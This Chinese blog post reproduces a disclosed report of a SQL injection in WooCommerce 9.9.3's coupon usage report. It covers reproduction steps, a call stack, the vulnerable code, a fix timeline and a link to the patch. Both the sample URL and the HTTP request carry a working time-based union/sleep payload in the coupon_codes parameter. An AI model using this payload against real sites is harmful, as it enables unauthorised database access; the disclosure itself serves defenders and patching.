WooCommerce SQL注入漏洞深度分析:WC_Report_Coupon_Usage安全风险与修复

本文详细分析了WooCommerce插件9.9.3版本中存在的SQL注入漏洞,涉及WC_Report_Coupon_Usage组件的coupon_codes参数未充分过滤,攻击者可通过构造恶意payload获取敏感数据或结合其他漏洞进行利用。

WooCommerce SQL注入漏洞报告 #3198980

漏洞概述

在WooCommerce插件9.9.3版本中发现一个SQL注入漏洞,攻击者需要具备查看报告权限。漏洞存在于WC_Report_Coupon_Usage组件中,coupon_codes参数未充分过滤。

受影响端点

1
/wp-admin/admin.php?page=wc-reports&tab=orders&report=coupon_usage&coupon_codes=')+union+select+1,sleep(10)--+-

漏洞参数

  • coupon_codes

受影响平台

  • WooCommerce插件版本9.9.3

复现步骤

  1. 使用管理员账户登录(为简化测试)
  2. 修改请求中的host和cookie为已登录会话的cookie
  3. 在coupon_codes参数中包含SQL注入payload

HTTP请求示例

1
2
3
4
5
6
7
8
9
GET /wp-admin/admin.php?page=wc-reports&tab=orders&report=coupon_usage&coupon_codes=')+union+select+1,sleep(10)--+- HTTP/1.1
Host: <host>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: <cookie of logged in session>
Connection: close

漏洞验证

观察响应延迟,证明漏洞存在。

调用栈分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
class-wc-admin-report.php:369, WC_Admin_Report->get_order_report_data()
class-wc-report-coupon-usage.php:449, WC_Report_Coupon_Usage->get_main_chart()
html-report-by-date.php:91, include()
class-wc-report-coupon-usage.php:153, WC_Report_Coupon_Usage->output_report()
class-wc-admin-reports.php:256, WC_Admin_Reports::get_report()
html-admin-page-reports.php:81, include_once()
class-wc-admin-reports.php:80, WC_Admin_Reports::output()
class-wc-admin-menus.php:348, WC_Admin_Menus->reports_page()
class-wp-hook.php:324, WP_Hook->apply_filters()
class-wp-hook.php:348, WP_Hook->do_action()
plugin.php:517, do_action()
admin.php:260, {main}()

漏洞代码

1
2
3
4
5
6
7
public function __construct() {
    if ( isset( $_GET['coupon_codes'] ) && is_array( $_GET['coupon_codes'] ) ) {
        $this->coupon_codes = array_filter( array_map( 'sanitize_text_field', wp_unslash( $_GET['coupon_codes'] ) ) );
    } elseif ( isset( $_GET['coupon_codes'] ) ) {
        $this->coupon_codes = array_filter( array( sanitize_text_field( wp_unslash( $_GET['coupon_codes'] ) ) ) );
    }
}

影响范围

SQL注入存在于SELECT查询中,攻击者可提取敏感数据或结合其他漏洞进行利用。

时间线

  • 2025年6月13日 05:23 UTC:漏洞提交
  • 2025年6月13日 11:45 UTC:需要更多信息
  • 2025年6月13日 13:05 UTC:确认为有效漏洞
  • 2025年6月18日 10:16 UTC:漏洞修复并关闭报告

修复状态

该漏洞已在最新版WooCommerce中修复(相关PR:https://github.com/woocommerce/woocommerce/pull/58857)

漏洞评级

  • 严重程度:中等(4.0-6.9)
  • 弱点类型:SQL注入
  • CVE ID:无

披露状态

报告已于2025年6月24日完全披露。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计